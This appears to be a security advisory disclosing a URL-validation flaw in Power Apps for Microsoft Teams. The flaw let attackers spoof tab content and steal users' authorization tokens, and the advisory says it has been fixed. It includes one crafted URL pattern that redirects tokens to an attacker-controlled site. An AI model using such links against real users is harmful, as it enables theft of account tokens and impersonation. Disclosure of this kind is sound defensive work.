Synopsis
Insufficient input validation on apps.powerapps.com/teams/makerportal makerportalUrl parameter
The makerPortalUrl parameter at apps.powerapps.com/teams/makerportal did not properly validate the supplied url.
A malicious attacker could leverage this issue to spoof content in Microsoft Teams tabs and steal victims' authorization tokens.
Theft of authorization tokens for graph.make.powerapps.com and api.powerapps.com
If a user who is logged into make.powerapps.com was convinced to visit a page following the format:
https://make.powerapps.com/teams/powerapps/acquire/mscrm.test/status/https%3a%2f%2f<attacker-controlled-site>
That user's authorization tokens for graph.make.powerapps.com and api.powerapps.com would be leaked to the attacker-controlled site.
A malicious attacker could leverage this issue to steal additional authorization tokens and make requests to multiple Microsoft services authorized as the victim.
Solution
Microsoft has fixed the issues.Disclosure Timeline
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